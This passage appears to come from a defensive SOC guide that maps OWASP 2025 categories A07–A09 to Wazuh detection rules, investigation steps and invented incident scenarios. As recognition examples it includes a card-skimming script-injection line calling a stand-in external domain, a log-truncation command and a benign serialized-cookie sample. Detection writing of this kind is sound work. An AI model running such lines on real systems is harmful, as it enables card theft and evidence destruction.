Incident response actions. The SOC escalates the case as High. It recommends blocking the IP range at the WAF and forcing password resets and session revocation for the 112 accounts. The fraud team reverses the point redemptions and stops orders to changed addresses. Support and privacy teams notify the affected customers.
Recommended remediation. The backend team adds rate limiting, bot detection, generic login error messages and MFA options. Continued monitoring confirms that new attempts are rate limited. The root cause is A07 Authentication Failures.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Single user error, brute force, spray, or stuffing? Any successes? | SOC L1 |
| Evidence collection | Auth logs, session logs, IP lists, user agents, identity provider data | SOC L1 or L2 |
| Event correlation | Failures, then success, then account changes; pivot on IP range, user agent, timing | SOC L2 |
| Severity assessment | Blocked attempts (Low or Medium), any success (High), admin or mass takeover (Critical) | SOC L2 |
| Impact assessment | Accounts compromised, actions taken, data accessed | SOC with app owner and fraud team |
| Escalation | Incident lead, identity team, app owner, fraud team | SOC |
| Containment recommendation | Block IPs, force resets, revoke sessions, temporarily require MFA, lock admin accounts | SOC recommends; identity and app teams execute (Active Response can block IPs if pre approved) |
| Coordination | Rate limiting, bot protection, MFA, breached password checks | Developers, identity team |
| Remediation verification | Attempts now blocked or limited; no new successes from attacking ranges | SOC |
| Documentation and closure | Accounts list, timeline, losses, improvements | SOC and incident lead |
Prevention and Remediation
- Enforce MFA, especially for admins and sensitive functions.
- Rate limit and progressively delay failed logins; add bot detection.
- Check new passwords against breached password lists; follow NIST guidance rather than forced rotation and complexity rules, as OWASP recommends.
- Remove default and hardcoded credentials.
- Use the same generic message for unknown user and wrong password.
- Generate a new session ID after login; set secure cookie flags; never put session IDs in URLs.
- Expire sessions on logout and inactivity; implement Single Logout for SSO.
- Log every authentication event with result and reason, and alert on patterns.
A08:2025 Software or Data Integrity Failures
Official page: OWASP A08:2025 Software or Data Integrity Failures
What Are Software or Data Integrity Failures?
Definition: Software or Data Integrity Failures happen when an application trusts code or data without verifying that it is genuine and unchanged, for example installing unsigned updates, loading scripts from untrusted sources, deploying artifacts without checking signatures, or deserializing data that a user can modify.
Key terms:
- Integrity means data or code has not been changed by an unauthorized party.
- Digital signature proves who created a file and that it was not modified.
- Checksum or hash comparison checks that a file matches a known good value.
- Serialization turns an object into text or bytes to store or send; deserialization turns it back into an object. Insecure deserialization (
CWE-502) happens when the app deserializes attacker controlled data, which can lead to code execution. - Subresource Integrity (SRI) is a browser feature where a
<script>tag includes a hash, so the browser refuses a modified file from a CDN. - Untrusted control sphere (
CWE-829) means including functionality from a source you do not control. - Mass assignment (
CWE-915) means the app lets a request set object attributes it should not, such asisAdmin.
What weakness it represents: OWASP describes the category as failing to maintain trust boundaries and verify the integrity of software, code and data at a lower level than Software Supply Chain Failures. It focuses on assumptions about updates and critical data made without verification.
Why it happens:
- Auto update features download updates without signature checks.
- Pipelines pull artifacts or code from places that are not verified.
- Web pages load third party scripts without SRI.
- Applications put serialized objects in cookies or hidden fields and trust them when they come back.
- Teams assume “internal” means “trusted”.
Why attackers target it: If the system blindly trusts something the attacker can modify, the attacker gets code execution or data control without needing another vulnerability. One modified update or script reaches every user.
What can happen after successful exploitation: Remote code execution on servers, malicious code shipped to customers, card skimming scripts on checkout pages, tampered prices or permissions, session theft.
Business assets affected: application servers, build artifacts, release channels, checkout pages and payment data, user sessions, critical business data.
How Integrity Attacks Work
- What the attacker needs first: A way to modify something the system trusts: control of a CDN or third party script, access to an artifact store, ability to edit a cookie or parameter that contains serialized data, or a position to replace an update.
- What is targeted: Update mechanisms, CI/CD artifact steps, external scripts, deserialization endpoints, critical data such as price or role values sent back by the client.
- What the attacker sends or changes: A modified file, a malicious serialized object, a replaced script, or a tampered value.
- What the vulnerable application does: Uses it without checking a signature, hash or server side copy.
- How the attacker exploits it: The malicious code runs automatically (update, script load, deserialization) or the tampered data is accepted.
- What happens on success: Code execution, skimming, privilege change, or data corruption.
- Evidence left behind: Changed files in web roots (FIM), new hashes for known files, unsigned artifacts in deployment logs, serialized object markers in requests, server processes started by the app after a request, and outbound connections to new domains.
Integrity Failure Attack Examples
Example 1: Insecure deserialization of a state token (from the OWASP scenario)
- Situation: A banking style web app built with Spring Boot microservices sends the user’s state to the browser as a Base64 Java serialized object and reads it back on every request.
- Attacker objective: Run code on the application server.
- Attacker actions: Notices the value starts with
rO0, the Base64 form of the Java serialization header, then uses a public tool to create a malicious object. - Safe representative request:
POST /api/profile/update HTTP/1.1
Cookie: state=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeA==
- Vulnerable behavior: The server deserializes the cookie without checking a signature or allowed types.
- Attempt versus success: A modified
rO0value is an attempt (WAF or app logs may show deserialization errors). Success is shown by the Java process starting a shell or making an outbound connection right after the request. - Impact: Remote code execution on the application server.
Example 2: Checkout page loads a modified third party script
- Situation: An online ticket seller’s checkout page includes a chat widget script from an external provider, without SRI. An internal copy of an analytics script is also served from the web root.
- Attacker objective: Steal card data as customers type it.
- Attacker actions: Gains write access to the web server through stolen deployment credentials and modifies
checkout.jsto add a line that sends form data to an external domain. - Representative FIM diff (with
report_changesenabled):
< </script>
---
> var s=document.createElement('script');s.src='https://cdn-analytics-check[.]example/l.js';document.head.appendChild(s);
- Vulnerable behavior: The web server serves the modified file; browsers run it because the page trusts its own scripts and has no SRI or strict Content Security Policy.
- Attempt versus success: The file modification itself is the compromise. Success of the skimming is shown by customer browsers requesting the external domain (seen in CSP reports, proxy logs or the external provider) and later fraud reports.
- Impact: Card data theft from every checkout during the exposure window.
Example 3: Unsigned artifact deployed by CI/CD
A pipeline downloads a build artifact from a shared storage bucket and deploys it without verifying its signature. An attacker who can write to the bucket replaces the artifact. The deployment log records signature_verified: false. The root problem is the missing integrity check, which is A08. (If the attacker poisoned a dependency upstream, that broader supply chain compromise is A03.)
Integrity Failure Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
New .php, .jsp or .aspx file in the web root outside a deployment window | Wazuh FIM | Strong sign of web shell or unauthorized change |
| Modified JavaScript on checkout or login pages | Wazuh FIM with report_changes | Strong |
| Hash of a deployed file differs from the release manifest | FIM, deployment logs | Strong |
| Deployment of an artifact with failed or skipped signature verification | CI/CD logs | Strong evidence of an integrity gap |
Serialized object markers (rO0AB, aced0005) in requests | Access logs (if in URL), WAF, app logs | Suspicious |
| Deserialization errors in application logs | App logs | Suspicious to strong |
| Application server process spawning shells after a request | auditd, Sysmon | Strong |
| Browsers loading scripts from a new external domain | CSP reports, proxy logs | Strong |
Mass assignment fields (for example "role":"admin") accepted in updates | App or WAF logs | Strong if the change is stored |
How to Detect Integrity Failures with Wazuh FIM
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
Wazuh FIM on web roots and application folders, with realtime and report_changes | Necessary | Detects modified and new code files |
| FIM whodata (Linux audit or Windows audit based) | Recommended | Shows which user and process changed the file |
| CI/CD and deployment logs (JSON) with artifact hash and signature result | Necessary for pipeline integrity | Shows unverified deployments |
| Application logs (deserialization errors, rejected objects) | Recommended | Shows deserialization attempts |
| WAF logs | Recommended | Sees cookies and bodies with serialized data |
| auditd or Sysmon process events on app servers | Necessary to confirm code execution | Shows impact |
| Content Security Policy violation reports | Optional, external | Shows browsers loading unexpected scripts |
What Wazuh Can and Cannot Detect
- Directly with built in features: FIM rules 550 “Integrity checksum changed.” (level 7), 553 “File deleted.” (level 7) and 554 “File added to the system.” (level 5). With
report_changes, alerts include the text diff (syscheck.diff). Withwhodata, alerts include user and process details (syscheck.audit.*). - Needs custom rules: Raise severity for executable files in web roots, modified checkout scripts, unsigned deployments, serialized object markers.
- Needs application or WAF logs: Deserialization in cookies and bodies.
- Needs external integrations: CSP reporting, code signing systems, artifact repository audit logs.
- Cannot be reliably detected by Wazuh alone: a malicious change hidden inside an approved deployment (FIM sees change, not intent), third party scripts modified on the provider’s CDN (no file changes on your server), and deserialization in requests that are not logged.
- Suspicious versus proof: FIM proves a file changed. Whether the change was unauthorized needs a change record and content review. A serialized marker proves an attempt at most; code execution evidence proves exploitation.
Wazuh Rules for Integrity Monitoring
All rules below are custom rules (examples).
Agent FIM configuration example (inside <syscheck> in the agent ossec.conf):
<directories realtime="yes" report_changes="yes" check_all="yes">/var/www</directories>
Rules:
<group name="custom_owasp,owasp_a08,">
<!-- Custom rule (example): new server side script in the web root -->
<rule id="100801" level="12">
<if_sid>554</if_sid>
<field name="file" type="pcre2">(?i)^/var/www/.+\.(php|phtml|jsp|jspx|aspx|ashx)$</field>
<description>OWASP A08: New server side script added to web root: $(file)</description>
<mitre>
<id>T1505.003</id>
</mitre>
</rule>
<!-- Custom rule (example): web page or script modified to load an external script -->
<rule id="100802" level="12">
<if_sid>550</if_sid>
<field name="file" type="pcre2">(?i)^/var/www/.+\.(js|html|php)$</field>
<field name="changed_content" type="pcre2">(?i)(src\s*=\s*['"]https?://|createElement\(\s*['"]script)</field>
<description>OWASP A08: Web file $(file) modified to load external script code</description>
<mitre>
<id>T1565.001</id>
</mitre>
</rule>
<!-- Custom rule (example): artifact deployed without signature verification -->
<rule id="100803" level="12">
<decoded_as>json</decoded_as>
<field name="log_type">^deploy$</field>
<field name="event">^artifact_deployed$</field>
<field name="signature_verified">^false$</field>
<description>OWASP A08: Artifact $(artifact) deployed to $(environment) without signature verification</description>
</rule>
<!-- Custom rule (example): Java serialized object marker in a URL parameter -->
<rule id="100804" level="8">
<if_sid>31100</if_sid>
<url type="pcre2">(rO0AB|%72%4F%30%41%42|aced0005)</url>
<description>OWASP A08: Java serialized object in request URL, possible deserialization attack</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Notes:
fileandchanged_contentare FIM fields listed in the Wazuh documentation “Creating custom FIM rules”. In alerts they appear assyscheck.pathandsyscheck.diff.changed_contentonly has a value whenreport_changesis enabled.- The rules watch
/var/www, the default web root on Debian and Ubuntu servers. Servers with a different web root need that path instead, and upload, cache and log folders should be excluded to avoid noise. - MITRE
T1505.003is “Server Software Component: Web Shell” andT1565.001is “Data Manipulation: Stored Data Manipulation”.
Why these levels: New scripts in a web root and injected external script code are strong signs of compromise (level 12). Unsigned deployments are serious integrity gaps (level 12 in production; you might choose 10 for test environments). A serialized marker is an attempt (level 8).
How to test:
- On a lab web server with the FIM configuration above, create
/var/www/html/test_upload.php. Expected: rule100801. - Add a line
var s=document.createElement('script');to a test.jsfile. Expected: rule100802with the diff insyscheck.diff. - Paste into
wazuh-logtest:
{"log_type":"deploy","event":"artifact_deployed","artifact":"tickets-web-2.14.0.tar.gz","environment":"production","sha256":"5a99ed0034287d64cf6e0bc76451849f2b92161e4bbca0964bb41da3093c7f4b","signature_verified":"false","pipeline":"tickets-release"}
Expected: rule 100803.
Expected alert (representative, shortened):
{
"rule": { "level": 12, "id": "100802", "description": "OWASP A08: Web file /var/www/tickets/js/checkout.js modified to load external script code" },
"agent": { "name": "tickets-web-01" },
"syscheck": {
"path": "/var/www/tickets/js/checkout.js",
"event": "modified",
"changed_attributes": ["size", "mtime", "md5", "sha1", "sha256"],
"diff": "> var s=document.createElement('script');s.src='https://cdn-analytics-check[.]example/l.js';document.head.appendChild(s);",
"audit": { "user": { "name": "deploy" }, "process": { "name": "/usr/bin/vim.basic" } }
}
}
Investigating the Alert in Wazuh
- Find the alert: File Integrity Monitoring module for the agent, or Threat Hunting with
rule.groups:owasp_a08orrule.groups:syscheck. - Fields to inspect:
syscheck.path,syscheck.event(added, modified, deleted),syscheck.diff,syscheck.sha256_after,syscheck.uname_after,syscheck.audit.user.name,syscheck.audit.process.name(with whodata),timestamp. - Source IP: For FIM, there is none. Find it by correlating the time with web access logs (upload requests, admin logins) or SSH logins on the host.
- Affected endpoint:
agent.nameand the website served from that path. - User account:
syscheck.audit.user.namewith whodata, or the file owner, then the login records for that user. - Timestamps: Change time, deployment schedule, and first request to the new or changed file in access logs.
- Correlate: Was there a deployment at that time? Did an upload request precede the new file? Did anyone request the new file afterwards (
data.urlwith the file name)? - Success check: Requests to a new web shell returning
200, processes started by the web server, browsers contacting the injected domain. - Impact: Exposure window, number of visitors or transactions, data at risk.
- Document: File path, old and new hashes, diff, who changed it, how, and exposure window.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.id:(100801 or 100802) | High risk web root changes | Immediate review |
syscheck.event:added and syscheck.path:/var/www* | All new files in the web root | Script files, odd names |
syscheck.path:*checkout.js* | All changes to the checkout script | Compare with release dates |
rule.id:100803 | Unsigned deployments | Which pipeline and artifact |
data.url:*test_upload.php* | Requests to a suspicious new file | Attackers using a web shell |
rule.id:100804 | Serialized objects in URLs | Then check app logs and processes |
rule.id:550 and syscheck.audit.process.name:*vim* | Manual edits to monitored files | Changes outside the pipeline |
Detection Limitations
- FIM only watches configured paths; attackers may write elsewhere.
- Approved deployments create many FIM events; malicious changes can hide inside them unless you compare with release hashes.
- Scripts modified at a third party CDN never touch your servers.
- Deserialization in cookies and bodies is invisible in access logs.
report_changesstores file copies and can expose sensitive content in alerts; usenodifffor secret files.- Improve visibility: Enable FIM with whodata on web roots, log deployments with hashes and signature results, use SRI and CSP reporting, log deserialization errors, and monitor app server process creation.
Practical SOC Investigation Scenario: Card Skimming Code Added to a Checkout Script
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. An online ticket seller hosts its checkout on Linux web servers. Wazuh FIM monitors /var/www/tickets with realtime, whodata and report_changes enabled.
Initial suspicious activity. At 01:14 on a Saturday, outside every release window, someone edits the checkout JavaScript file.
Initial detection. Custom rule 100802 fires: checkout.js was modified to load an external script.
Logs examined. The analyst reviews the FIM alert with its diff and whodata details, the SSH authentication events on the host, the access logs for checkout pages and the deployment records.
Suspicious indicators. The diff adds one line that creates a script element loading code from cdn-analytics-check[.]example, a domain the company does not use. Whodata shows the user deploy editing the file with vim, not through the release pipeline. Releases only run on Tuesdays.
Event correlation. Built in rule 5715 (“sshd: authentication success.”) records a login for deploy at 01:09 from an IP in a country where the company has no staff. The access logs show about 3,200 checkout page loads since 01:14. DevOps confirms that the deploy account uses a password and that its key had been stored in a shared wiki.
Assessment of successful exploitation. The unauthorized file modification is confirmed by FIM and whodata, and the modified file was confirmed as served to visitors. Whether card data was actually sent to the external domain still needs browser side evidence, such as CSP reports, proxy data or fraud reports, so data theft is likely but not yet confirmed.
Potential business impact. Card data from about 900 completed payments during the exposure window may have been captured.
Incident response actions. The SOC escalates the case as Critical. It recommends restoring the file from the signed release, blocking the external domain at the edge, disabling the deploy account and preserving the host for forensics. DevOps restores the file and rotates the credentials. The payments and legal teams notify the payment provider.
Recommended remediation. Deployments become key based and pipeline only. Developers add Subresource Integrity to external scripts and a strict Content Security Policy, and web root hashes are compared against the release after every deployment. The site served code that nobody verified, so the core issue is A08 Software or Data Integrity Failures. The stolen deployment credential adds an A07 aspect.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Is the change part of an approved release? Is it a script, config or data change? | SOC L1 |
| Evidence collection | FIM alert with diff and hashes, whodata, deployment logs, access logs, a copy of the modified file | SOC L1 or L2 |
| Event correlation | Login or upload, then file change, then requests to the file, then outbound or process activity | SOC L2 |
| Severity assessment | Approved but unverified (Medium), unauthorized change to non critical file (High), web shell or skimmer (Critical) | SOC L2 |
| Impact assessment | Exposure window, visitors, transactions, systems reached | SOC with app owner |
| Escalation | Incident lead, app owner, DevOps, payments and legal if card data | SOC |
| Containment recommendation | Restore from signed release, remove web shells, block domains, disable accounts, isolate host | SOC recommends; DevOps and admins execute |
| Coordination | Add signing, SRI, CSP, deployment hash checks, safe deserialization | Developers, DevOps |
| Remediation verification | Hashes match release, no new FIM alerts outside release windows | SOC |
| Documentation and closure | Timeline, diff, root cause, new controls | SOC and incident lead |
Prevention and Remediation
- Use digital signatures for software, updates and build artifacts, and verify them before use.
- Use trusted repositories and internal mirrors for packages and artifacts.
- Protect the CI/CD pipeline with access control, review and logging.
- Add Subresource Integrity to external scripts and a strict Content Security Policy.
- Never deserialize untrusted data; if needed, sign it and restrict allowed types.
- Do not trust client side copies of critical data such as prices or roles; keep them on the server.
- Monitor web roots and application folders with FIM and compare with release hashes.
A09:2025 Security Logging and Alerting Failures
Official page: OWASP A09:2025 Security Logging & Alerting Failures
What Are Security Logging and Alerting Failures?
Definition: Security Logging and Alerting Failures happen when an application or its environment does not record important security events, does not protect those records, or does not turn them into timely alerts, so attacks are not detected, not investigated, or detected far too late.
Key terms:
- Auditable event: An event that must be recorded, such as login success and failure, access control failure, admin action or payment.
- Log integrity: Protection against deleting or editing logs.
- Centralized logging: Sending logs off the host to a SIEM so local deletion does not erase evidence.
- Retention: How long logs are kept.
- Alerting threshold and use case: The defined condition that should create an alert, and the scenario it covers.
- Playbook: The documented steps to handle a type of alert.
- Log injection (
CWE-117): Attacker input that adds fake lines to logs, for example with newline characters. - Sensitive data in logs (
CWE-532): Passwords, tokens or personal data written to logs. - Insufficient logging (
CWE-778): Important events are not logged at all. - Alert fatigue: Too many false positives, so real alerts are missed.
What weakness it represents: OWASP says this category is hard to test and under represented in CVE data (only 723 CVEs), but very impactful for visibility, alerting and forensics. The name changed in 2025 to emphasize alerting, because logs alone do not cause action.
OWASP lists, among others, these failure situations:
- Logins, failed logins and high value transactions are not logged, or logged inconsistently (for example only successful logins).
- Warnings and errors create no or unclear log messages.
- Log integrity is not protected.
- Application and API logs are not monitored.
- Logs are only stored locally and not backed up.
- Alert thresholds and escalation processes are missing or ineffective.
- Penetration tests and DAST scans (for example Burp or ZAP) do not trigger alerts.
- Logs contain sensitive data, or log data is not encoded, enabling log injection.
- Too many false positives overload the SOC.
- Playbooks are missing or outdated.
Why it happens: Logging is treated as a developer debugging tool, not a security control. Nobody defines security use cases. Logs are not forwarded to the SIEM. Storage costs lead to short retention. Rules are never tested.
Why attackers target it: Attackers prefer environments where they will not be seen. They may also delete logs, stop agents or flood alerts to hide their activity.
What can happen: Breaches continue for months or years. OWASP’s examples include a health plan provider whose breach of children’s records may have lasted more than seven years without detection, and an airline breach discovered only when a third party hosting provider reported it.
Business assets affected: Every asset, indirectly. Also regulatory standing, because many laws require the ability to detect and report breaches.
How Attackers Exploit Missing Visibility
This category is a weakness that helps other attacks succeed. It is not usually a single attack technique. There are two patterns:
Pattern 1: Exploiting absent visibility
- Attacker needs: Any attack path into an application that is not logged or not monitored.
- Target: Systems or events without logs, such as an API with no auth logs.
- Attacker actions: Performs the attack normally.
- Vulnerable environment: Records nothing, or records it but never alerts.
- Result: The attack succeeds and persists. The organization learns about it from customers, partners or the press.
- Evidence: Missing. The investigation finds gaps instead of evidence.
Pattern 2: Actively removing visibility (defense evasion)
- Attacker needs: Access to a host with enough privilege.
- Target: Log files, logging services, the SIEM agent, audit policy.
- Attacker actions: Deletes or truncates logs, clears Windows event logs, stops the agent, changes audit policy, or injects fake log lines.
- Vulnerable environment: Allows it without alerting, and keeps logs only locally.
- Result: Evidence is lost and later activity is invisible.
- Evidence left: Log truncation events, event log cleared events, agent disconnection, audit policy change events, sudden drop in event volume. MITRE ATT&CK calls these techniques Indicator Removal (
T1070) and Impair Defenses (T1562).
Logging and Alerting Failure Examples
Example 1: Attacker clears logs on a compromised web server
- Situation: An attacker has a shell on a Linux web server through a web shell.
- Attacker objective: Remove traces of the web shell requests.
- Attacker actions: Truncates the access log.
# Representative attacker command (for recognition only)
: > /var/log/nginx/access.log
- Vulnerable environment: If the log is only on the server and nobody monitors it, the evidence is gone.
- With Wazuh: The agent had already forwarded earlier lines to the manager, so the evidence remains in the SIEM. Built in rule 592 “Log file size reduced.” (level 8) fires because the file shrank. On Windows, clearing the Security log creates Event ID 1102, which built in rule 60117 “Windows audit log was cleared” (level 9) detects when the agent reads the Security channel with the
eventchannelformat. - Attempt versus success: Truncation is a successful anti forensics action on the host, but it fails as evasion if logs were already centralized.
- Impact: Loss of local evidence; the incident becomes harder to scope if logs were not forwarded.
Example 2: Application never logs failed logins (from OWASP’s description)
- Situation: A partner portal logs only successful logins.
- Attacker objective: Guess partner passwords without being noticed.
- Attacker actions: Slow password guessing over weeks.
- Representative log content: Only lines like:
{"log_type":"auth","event":"login_success","username":"partner-ops@vendor.example","client_ip":"198.51.100.120"}
There are no login_failed events at all, so A07 detection rules can never fire.
- Impact: Account takeover is noticed only when the partner reports strange orders.
Example 3: Detection that never fires
A penetration tester runs an automated web scanner against production with permission. The access logs are collected, but nobody created rules for that application’s log format, so the decoder does not match and no alert appears. OWASP lists “penetration tests and DAST scans do not trigger alerts” as a sign of this category.
Log Tampering Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
| Log file size reduced or log deleted | Wazuh logcollector rule 592, FIM rule 553, auditd | Strong sign of tampering (check for normal rotation) |
| Windows Security log cleared (Event ID 1102) | Windows Security log, rule 60117 | Strong |
| Windows audit policy changed | Rule 60112 “Windows Audit Policy changed” | Suspicious to strong |
| Wazuh agent disconnected or stopped on a critical host | Rules 504 and 506 | Suspicious (maintenance or attack) |
| Sudden drop of events from one host or log file | Dashboard event counts | Suspicious |
Newline characters (%0d%0a) in request parameters | Access logs, built in rule 31104 includes %0A and %0D patterns | Suspicious log injection attempt |
| Passwords, tokens or card numbers in log lines | Log review, custom rules | Strong evidence of CWE-532 |
| Known attack in another source with no matching alert in Wazuh | Gap analysis | Strong evidence of an alerting gap |
| Alert backlog or alerts closed without review | SOC metrics | Strong evidence of a process failure |
How to Detect Log Tampering and Visibility Gaps with Wazuh
This category is different from the others. Part of the job is detecting attacks on logging. The other part is testing that your own detection works.
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Wazuh internal events (agent status, logcollector) | Necessary | Show agents stopping and log files changing |
| Windows Security and System logs | Necessary on Windows servers | Event log cleared, audit policy changes |
| Linux auditd watches on log folders and audit config | Recommended | Shows who modified or deleted logs |
FIM on log configuration files (/etc/rsyslog.conf, web server log settings, Wazuh agent config) | Recommended | Detects logging being turned off |
| Application logs themselves | Necessary | Without them, A01, A06 and A07 detection is weak |
| An inventory of expected log sources per critical application | Necessary (a process, not a log) | Lets you notice what is missing |
What Wazuh Can and Cannot Detect
- Directly with built in rules:
- 591 “Log file rotated.” (level 3) and 592 “Log file size reduced.” (level 8) from the log collector.
- 60117 “Windows audit log was cleared” (level 9) for Security Event ID 1102 collected with
eventchannel, and 593 “Microsoft Event log cleared.” (level 9), which the agent raises when it reads logs with the legacyeventlogformat. - 504 “Wazuh agent disconnected.” and 506 “Wazuh agent stopped.” (level 3).
- 60112 “Windows Audit Policy changed” (level 8).
- FIM 550 and 553 on log configuration files.
- Needs custom rules: Raising severity for agent loss on critical servers, auditd based log tampering detection, sensitive data in logs.
- Needs process and governance work: Detecting missing logs. Wazuh rules react to events that arrive. They cannot natively alert on events that never arrive. You need agent status monitoring, event volume dashboards, and regular detection testing.
- Needs external tools: Uptime monitoring or a scheduled check that compares expected and received event counts.
- Cannot be detected by Wazuh alone: An application that never logs failed logins. Only a logging requirements review finds that.
- Important distinction: A09 is a weakness of the application and its environment. A missing Wazuh rule is a SOC detection gap. The category comparison section compares them in detail.
Wazuh Rules for Log Tampering
All rules below are custom rules (examples).
Rule logic:
- 100901: A process other than the web server or log rotation tools wrote to or deleted files in the web log folder (auditd).
- 100902: The Wazuh agent on a critical web server disconnected or stopped.
- 100903: A JSON application log line contains a password value or something that looks like a card number.
Supporting audit rule (example):
auditctl -w /var/log/nginx/ -p wa -k weblog_tamper
<group name="custom_owasp,owasp_a09,">
<!-- Custom rule (example): web log folder modified by an unexpected process -->
<rule id="100901" level="12">
<if_sid>80700</if_sid>
<field name="audit.key">^weblog_tamper$</field>
<field name="audit.exe" type="pcre2" negate="yes">/(nginx|logrotate|gzip)$</field>
<description>OWASP A09: Web server log folder modified by unexpected process $(audit.exe)</description>
<mitre>
<id>T1070.002</id>
</mitre>
</rule>
<!-- Custom rule (example): agent lost on a critical web server -->
<rule id="100902" level="10">
<if_sid>504,506</if_sid>
<match type="pcre2">(shop|portal|tickets)-web</match>
<description>OWASP A09: Wazuh agent disconnected or stopped on a critical web server</description>
<mitre>
<id>T1562.001</id>
</mitre>
</rule>
<!-- Custom rule (example): sensitive data written into application logs -->
<rule id="100903" level="7">
<decoded_as>json</decoded_as>
<field name="message" type="pcre2">(?i)(password\s*[=:]\s*\S+|\b\d{4}[ ]?\d{4}[ ]?\d{4}[ ]?\d{4}\b)</field>
<description>OWASP A09: Possible sensitive data (password or card number) written to application log</description>
</rule>
</group>
Notes:
- 100902 matches the agent naming convention (
shop-web,portal-web,tickets-web) inside the event text. The exact wording of rule 504 and 506 events is visible in theirfull_logfield, so the pattern should be checked against real events before deployment. - 100903 may produce false positives on long numeric IDs. Tune it with your data. Consider
<options>no_full_log</options>so the alert does not copy the sensitive value again; this option is used by built in rules such as 61603. - MITRE
T1070.002is “Indicator Removal: Clear Linux or Mac System Logs” andT1562.001is “Impair Defenses: Disable or Modify Tools”.
Why these levels: Log tampering by an unknown process (100901) is a strong compromise signal, level 12. A critical agent going silent (100902) needs prompt checking, level 10. Sensitive data in logs (100903) is a compliance issue, level 7.
How to test:
- On a lab host with the audit rule, run
touch /var/log/nginx/test.logas root. Expected: rule100901withaudit.exeshowing/usr/bin/touch. - Stop the agent on a lab host named, for example,
shop-web-lab. A clean stop sends a stop message (rule 506). If the agent simply loses its connection, the manager marks it disconnected afteragents_disconnection_time(15 minutes by default) and raises rule 504. Expected: rule100902in both cases. - Paste into
wazuh-logtest:
{"log_type":"app","level":"debug","message":"login request user=anna.k password=Summer2026! from 192.0.2.10"}
Expected: rule 100903.
- Detection testing (purple team): Ask an approved tester to run a DAST scan against a staging copy of a monitored application. Verify that built in rules 31103, 31105, 31151 and your custom rules fire. If they do not, you have found an A09 style gap in your own monitoring.
Expected alert (representative, shortened):
{
"rule": { "level": 8, "id": "592", "description": "Log file size reduced." },
"agent": { "name": "shop-web-02" },
"location": "/var/log/nginx/access.log"
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting, filter
rule.id:(592 or 60117 or 593 or 100901 or 100902). - Fields to inspect:
rule.id,agent.name,location(which log file),data.audit.exe,data.audit.auid,data.win.system.eventID,timestamp. - Source IP: Usually none on the event itself; find the session that did it through login events on the host.
- Affected endpoint:
agent.name, then the applications on it. - User account:
data.audit.auid(the original login user) on Linux. On Windows, the account that cleared the log is recorded in the Event ID 1102 event data, and Security events from the same host just before it (for example logon Event ID 4624) show who was active. - Timestamps: Exactly when logs were reduced or the agent stopped; what was the last event received before?
- Correlate: Look at the last hour of events from the host before the gap: suspicious logins, web attacks, new files.
- Success check: Did the attacker destroy evidence that was not yet forwarded? Compare the last forwarded line with the time of truncation.
- Impact: Visibility lost for which systems and for how long.
- Document: Gap start and end, cause (attack, maintenance, misconfiguration), evidence recovered from other sources.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.id:592 | Log files that shrank | Normal rotation versus truncation at odd times |
rule.id:(60117 or 593) | Windows event logs cleared | User who cleared them, preceding activity |
rule.id:(504 or 506) and not agent.name:*lab* | Agents disconnected or stopped | Critical servers, duration of silence |
rule.id:60112 | Audit policy changes on Windows | Logging being reduced |
rule.id:100901 | Log folder tampering by unexpected processes | Process and user |
agent.name:"shop-web-02" and location:"/var/log/nginx/access.log" | Events from one log source | Use the histogram to spot silent periods |
rule.id:31104 and (data.url:*%0A* or data.url:*%0a*) | Newline characters in URLs | Possible log injection attempts |
Detection Limitations
- Wazuh cannot alert on logs that never exist.
- Native rules react to events, not to silence; use agent status and volume monitoring.
- Changing a log path or format breaks collection or decoding silently.
- Root level attackers can stop the agent; alerts depend on the manager noticing.
- False positives: maintenance windows, log rotation, planned agent restarts.
- Improve visibility: Keep a log source inventory, forward logs in near real time, protect log storage, monitor agent health, test detections regularly (purple teaming, DAST), and review alert quality to fight fatigue.
Practical SOC Investigation Scenario: A Silent Log Source Hides Credential Stuffing
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. An insurance company runs its customer portal on three NGINX servers. All three are expected to send their access logs to Wazuh.
Initial suspicious activity. One portal server stops sending access log events, while its Wazuh agent stays connected and keeps sending system logs.
Initial detection. No alert fires. During a weekly log source review, an analyst notices in the dashboard histogram that portal-web-03 has sent no access log events for six days.
Logs examined. The analyst reviews the events filtered by agent.name:"portal-web-03" and an NGINX location, the FIM events on the host, the system administrator’s change records and, after the gap is found, the server’s local access log.
Suspicious indicators. The last access log event arrived six days earlier. At that same time, built in FIM rule 550 recorded a change to /etc/nginx/nginx.conf. Its diff shows the access log path was renamed to /var/log/nginx/portal_access.log during an approved upgrade, but the Wazuh agent was still monitoring the old file.
Event correlation. A manual review of the new local log reveals three days of credential stuffing against the login API from one hosting range. The organization’s existing authentication rules would have caught it if the logs had been collected. The application team confirms that 27 accounts logged in from that range.
Assessment of successful exploitation. The stuffing attempts are confirmed attempts, and the 27 logins from the attacking range are suspected account takeovers pending user confirmation. The logging gap itself is a confirmed control failure, not an attack.
Potential business impact. Up to 27 accounts may be compromised, and one of three portal servers was a blind spot for six days.
Incident response actions. The SOC escalates the suspected account compromises as High and reports the logging gap as a separate finding. System administrators correct the localfile path in the agent configuration and restart the agent. The identity team resets the 27 accounts and revokes their sessions.
Recommended remediation. Detection engineering adds a daily comparison of expected log sources against received events, plus FIM rules for changes to web server log configuration. Change management adds an “update log collection” step to the upgrade checklist. Verification confirms that events flow again and that test alerts fire. The attack is A07, but the reason it went unnoticed is A09 Security Logging and Alerting Failures.
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Is it tampering, misconfiguration or maintenance? Which host and logs? | SOC L1 |
